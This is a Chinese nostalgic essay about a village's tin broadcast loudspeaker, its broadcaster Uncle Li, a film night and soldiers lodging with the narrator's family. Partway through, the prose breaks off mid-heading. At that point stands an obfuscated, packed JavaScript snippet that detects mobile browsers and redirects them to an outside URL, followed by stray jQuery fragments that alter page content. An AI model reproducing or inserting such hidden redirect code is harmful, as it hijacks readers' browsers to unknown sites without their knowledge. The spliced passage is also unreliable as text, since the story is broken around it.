45.铁皮喇叭


    鸡叫头遍时，天刚洇出一抹淡青，像是谁用蘸了清水的毛笔在宣纸上轻轻晕染开来的痕迹。狗娃蜷在炕角数房梁上的蛛网，那些细密的丝线在朦胧的晨光中若隐若现，仿佛时光编织的罗网。忽然听见大队部方向传来"滋啦——滋啦——"的声响，像春蚕在啃食桑叶，又像是电流在黑暗中摸索前行的路径。娘正往灶膛里添柴，槐木柴火在灶膛里噼啪作响，火光在她鬓角的白发上跳跃，将那些银丝染成温暖的金色。"快穿衣裳，喇叭要响了"，娘的声音伴着灶膛里柴火燃烧的声响，在晨雾中显得格外温暖。


    果然，当东山顶上的日头刚啄破云层，将第一缕金光洒向沉睡的村庄，那只蹲在大队部楼顶的铁皮喇叭突然亮了嗓子。灰扑扑的楼顶本是平平无奇的土坯顶，盖着层薄瓦，瓦缝间偶尔有几株顽强的狗尾巴草在风中摇曳。唯独西北角支着根杉木杆，经过多年的风吹日晒，木杆已经泛出灰白的色泽，上面布满深浅不一的裂纹。喇叭就悬在木杆顶端，圆鼓鼓的像只警惕的猫头鹰，铁皮外壳在晨光中泛着冷冽的青光。"中央人民广播电台！中央人民广播电台，现在是新闻时间。"电流带着轻微的震颤，顺着木杆爬下来，钻进家家户户的窗棂，唤醒沉睡的村庄。


    狗娃扒着门框往外瞧，只见二伯蹲在碾盘上吧嗒着旱烟，古铜色的烟锅在晨光中一闪一闪，火星随着广播里的语调明灭，仿佛在给远方的声音打着拍子。三婶端着喂猪的食盆站在猪圈边，扁担还架在肩头就忘了动弹，食盆里的泔水散发着温热的气息，引来几只早起的鸡雏在一旁探头探脑。连趴在墙根打盹的老黄狗，都支棱起耳朵对着大队部楼顶的方向，尾巴无意识地扫着地上的尘土，激起细小的漩涡。


    那只喇叭是铁皮焊的，被两根粗铁丝勒在木杆上，铁丝已经有些生锈，在木杆上留下褐色的锈迹。风大的时候，木杆会带着喇叭摇晃，发出"咯吱咯咯吱"的声响，像是在跟广播里的声音较劲，又像是在与风诉说岁月的故事。有回下暴雨，狂风呼啸着掠过村庄，楼顶的瓦片被掀飞了好几块，雨水顺着屋檐流淌成一道道水帘。喇叭突然哑了三天，那三天里，整个村庄仿佛失去了心跳。早起的人们站在院门口，总是习惯性地朝大队部楼顶张望，眼神中带着茫然与期待。连走路都像是丢了魂，脚步变得迟疑而凌乱。后来广播员李叔背着梯子爬上楼顶，裤脚卷到膝盖，露出小腿上被瓦片划破的血痕，伤口还在渗着血珠。他用抹布仔细擦去喇叭上的泥水，又往接口处缠了三圈防水胶布，胶布是军绿色的，在灰扑扑的楼顶上显得格外醒目。当熟悉的"滋啦"声再次响起时，蹲在楼下墙根的爷们儿们竟齐齐松了口气，像是接住了从天上掉下来的宝贝，脸上的皱纹都舒展开来。


    李叔住在大队部一楼的小耳房里，那间屋子的后墙开了个洞，电线从洞里牵出去，顺着墙根爬到楼顶，像一条黑色的藤蔓。电线一头连着喇叭，一头接在他床头的收音机上，那台收音机是上海牌的，外壳已经泛黄，调频的旋钮也有些松动。狗娃常趁李叔去公社开会，溜到耳房窗外偷看。屋里弥漫着一股松节油和烟草混合的味道，墙上贴着张泛黄的世界地图，李叔用红铅笔在上面圈了好多圈圈，有些地方已经被铅笔戳破了。最显眼的是桌上的搪瓷缸，缸子上印着"为人民服务"五个字，边角的搪瓷都磕掉了，露出里面银白的铁皮，在阳光下闪着冷硬的光。


    那年秋天，喇叭突然在晌午时分响了，李叔的声音带着难得的兴奋，像是揣了个快要捂不住的秘密："各位村民注意，今晚公社电影队来咱村放《地道战》，地点在大队部晒谷场，自带板凳啊！"声音从楼顶跌下来，砸在晒谷场的尘土里，溅起满村的欢喜。一下午的功夫，全村的孩子都聚在晒谷场边上，用树枝在地上画电影里的地道，那些弯弯曲曲的线条在黄土上延伸，仿佛真的能通向某个神秘的地方。二柱子说他要带个麻袋，等电影放完了，把银幕上的鬼子都装回家；丫蛋儿非要娘把新做的红棉袄穿上，说要让电影里的八路军看看她有多精神，红棉袄在秋日的阳光下格外鲜艳。


    天黑透时，晒谷场被马灯照得亮堂堂的，灯光吸引来许多飞蛾，在光束中翩翩起舞。放映机"哒哒"地转着，胶片转动的声音像是时光在低语。光束穿过夜空落在白布上，把黑黢黢的人影投在后面的土墙上，那些影子一会儿变成奔跑的战士，一会儿变成龇牙咧嘴的鬼子，仿佛在演绎着另一个世界的故事。当银幕上的**响起时，蹲在狗娃前排的小石头突然"哇"地哭了，他娘赶紧捂住他的嘴，却忍不住自己也跟着银幕里的情节攥紧了拳头，指节因为用力而发白。直到电影放完，人们还恋恋不舍地围着放映机，仿佛那转动的**能带他们去往远方。李叔站在大队部门口喊："散了散了，明天还要上工呢！"可没人动弹，最后还是村支书用烟袋锅敲了敲台阶，烟袋锅敲在青石板上发出清脆的声响，大伙儿才扛着板凳，一步三回头地往家走，路过楼顶下时，都忍不住抬头望一眼那黑沉沉的铁皮喇叭，像是在跟它道晚安，又像是在期待明天的故事。


    部队来的那天，喇叭是在晌午时分响的，李叔的声音比平时急促些，带着一丝不易察觉的紧张："陈满仓，听到广播赶紧到大队部来一下，陈满仓——"狗娃的父亲正在猪圈里起粪，裤腿上沾着黄乎乎的泥浆，听到喊声手在围裙上胡乱擦了擦，拔腿就往大队部跑。狗娃跟在后面追，刚跑到大队部楼下，就看见几个穿绿军装的人正往楼顶爬，他们背着的电话线像条银蛇，顺着木杆缠上去，在日头下闪闪发亮，刺得人眼睛发疼。


    "爹，他们在干啥？"狗娃拽着父亲的衣角问。父亲把狗娃往身后推了推，"别瞎问，回家帮你娘烧火"。可狗娃分明看见，李叔的耳房里亮着灯，窗户上映出好几个晃动的人影，有人在低声说着什么，声音压得很低，像是怕惊动了什么，夹杂着茶杯放在桌上的轻响。楼顶的喇叭静悄悄的，像只屏住呼吸的鸟，连平时总是"咯吱"作响的木杆也停止了摇晃。


    那晚父亲让狗娃早睡，可狗娃躺在炕上，眼睛盯着西屋的门。那两间屋子是下午刚腾出来的，娘把爷爷留下的樟木箱搬到了东屋，箱子上的铜锁在油灯下泛着温润的光泽，像是藏着无数个故事。狗娃数着窗棂上的格子，数到第二十三下时，听见院门外传来整齐的脚步声，脚步声很轻，但却很有力，接着是父亲压低的说话声。狗娃赶紧把眼睛闭上，耳朵却竖得老高，可直到后半夜，西屋也没传来任何动静，只有风吹过窗棂的细微声响。


    第二天鸡还没叫，狗娃就光着脚丫跑到西屋窗下。窗纸被霜气打湿了，泛着朦胧的白。狗娃用手指戳了个小洞往里瞧——炕上的被褥叠得方方正正，像块刚出锅的豆腐；炕边的地上放着双布鞋，鞋帮上还沾着没干的泥点，像是刚刚走过很远的路；墙角的木桌上，摆着个军用水壶，壶嘴对着门口，像是在等着它的主人回来，又像是在守护着什么秘密。可等狗娃端着饭碗再去看时，西屋的门已经锁上了，门板上留着道新鲜的划痕，像是谁用指甲不经意间划下的，又像是一个未说完的故事。


    后来听父亲说，那些当兵的是半夜走的，临走前把屋子扫得干干净净，连地上的灰尘都扫尽了，还在灶台上放了两角钱，说是给房东的住宿费。娘拿着那两张崭新的角票，在围裙上擦了半天手，手指因为激动而微微发抖，最后把钱塞进了狗娃的压岁钱罐里。狗娃跑到大队部楼下时，楼顶的喇叭正在播早间新闻，阳光顺着木杆流下来，在地上淌成一道金线，像是要把天空和大地连接起来。


    老姨的信来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382589|183542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的时候，喇叭正播着早间新闻。李叔的声音突然响起来，带着难得的轻快："陈满仓家的，有你家亲戚的信，赶紧来取！"狗娃撂下手里的红薯就往大队部跑，路上被石头绊了一跤，膝盖磕出个红印子也顾不上揉，心里只想着那封来自远方的信。李叔在耳房里正往信封上盖邮戳，邮戳是深蓝色的，像一小片天空落在信封上。见狗娃来了，把信往狗娃手里一塞："你老姨在内蒙挺好的，说要回来过年呢。"声音里带着笑意，仿佛也在为这个好消息高兴。


    狗娃捏着那封带着油墨香的信往家跑，信纸在口袋里硌着他的腿，却让他感到莫名的安心。奶奶正在纳鞋底，听见狗娃喊"老姨要回来"，手里的针线"啪嗒"掉在炕上，她赶紧戴上老花镜，镜腿上的铜锈在阳光下闪着微光，让父亲把信读了一遍又一遍，每读一遍，眼角的皱纹就深一分。那天下午，奶奶找出压在箱底的蓝布衫，坐在院子里晒着太阳缝补，阳光透过她的白发，在布衫上织出细碎的光斑，像是把时光也缝进了布里。楼顶的喇叭不知疲倦地响着，偶尔有鸽子落在木杆上，歪着头听一会儿，又扑棱棱飞走了，翅膀划破空气的声音和广播声交织在一起。


    变故是在李叔退休后发生的。那天喇叭响了最后一次早间新闻，李叔的声音有些沙哑，像是被时光磨去了棱角："从今天起，七点的新闻就不播了，有事我再通知大家。"说完这话，他停顿了好一会儿，楼顶的电线在风里轻轻摇晃，发出呜咽般的声响，直到电流的"滋啦"声渐渐盖过他的呼吸，仿佛连电线也在为这个时刻感到悲伤。


    搬家那天，李叔把墙上的世界地图摘下来，地图的边缘已经卷曲，上面布满了岁月的痕迹。他仔细地将地图卷成个筒子抱在怀里，像是抱着什么珍贵的宝物。狗娃看见他在大队部楼下站了很久，抬头望着楼顶的喇叭，眼神复杂，手在裤兜里摸来摸去，最后掏出个小本子，本子的封面已经磨损，露出里面的纸页。他对着木杆的方向记着什么，笔尖在纸上沙沙作响，像是在记录一个时代的终结。后来新搬来的广播员是个年轻人，他很少开喇叭，只有在收公粮或者征兵时，才会对着麦克风喊几句，声音从楼顶落下来，总带着股生涩的拘谨，像颗没熟透的果子，再也找不到从前那种温暖的感觉。


    去年清明狗娃回村里，特意绕到大队部去看。那栋青砖楼还在，只是楼顶的瓦片换了新的，在阳光下闪着刺眼的光。木杆上的喇叭早就没了踪影，只剩下两根锈迹斑斑的铁丝，在风里轻轻打着颤，像是在诉说着过往的故事。晒谷场改成了村民活动中心，玻璃门上贴着广场舞队的通知，彩色的纸张在阳光下格外醒目。路过李叔住过的耳房，听见里面传来麻将牌碰撞的脆响，有人笑着说："三缺一，赶紧的！"声音透过窗纸传出来，带着陌生的热闹。


    走在回家的路上，风从麦地里吹过来，带着麦苗的清香，沁人心脾。狗娃忽然听见一阵熟悉的"滋啦"声，像是从楼顶飘下来的，那么清晰，那么真实。停下脚步细听，却只有麻雀在楼檐下叽叽喳喳的叫声，像是在嘲笑他的幻听。可等狗娃继续往前走，那声音又响起来了，这次清晰了许多，像是有人在耳边说："各位村民注意了......"声音飘忽不定，却带着记忆中的温暖。


    狗娃回头望去，阳光顺着大队部的墙爬上去，在楼顶的瓦上淌成一片金河，耀眼夺目。恍惚间，那片金河里浮起个小小的人影，正踮着脚往木杆上望，手里攥着封还没拆开的信，信角被风掀起，像只想要飞的蝴蝶，仿佛要带着所有的记忆飞向远方。那一刻，狗娃仿佛又回到了那个晨光熹微的早晨，听见喇叭里传来熟悉的声音，看见娘在灶膛前添柴的身影，感受到那个时代特有的温暖与期盼。声纹岁月，就这样在记忆中永恒地回响着，不曾离去。